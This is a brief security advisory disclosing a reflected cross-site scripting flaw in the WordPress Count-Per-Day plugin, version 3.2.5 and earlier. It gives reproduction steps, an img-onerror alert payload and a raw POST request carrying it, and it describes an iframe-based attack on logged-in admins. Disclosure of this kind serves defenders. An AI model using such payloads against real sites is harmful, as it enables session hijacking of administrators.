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WordPress Count-Per-Day plugin 3.2.5. Type-1 (reflected) Cross Site

Scripting (XSS)

affected versions <= 3.2.5. (tested on 3.2.5, 3.2.3)

impact:

- code execution in browser context

author: alejandr0.m0f0

1/ navigate to the page:
/wordpress/wp-admin/?page=cpd_metaboxes

2/ bottom of the page: "visitors per day"
current date is printed (e.g., 2013-03-04)
replace this field by
2013-03-04"><img src=x onerror=alert(1)>
press show.

3/ request is submitted, server reflects the sent value. filter on
server side is identity, thus pretty easy to exploit.
the payload gets executed.

e.g., of exploitation:

POST …/wordpress/wp-admin/?page=cpd_metaboxes HTTP/1.1
…

daytoshow=2013-03-04%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&showday=Show

requirements: victim should be authenticated as user having access

to this plugin (e.g., admin)

this is still a practical attack in case e.g. attacker embeds an

iframe on a website he controls, and assuming the victim is logged in
wordpress, then the SOP access control is bypassed.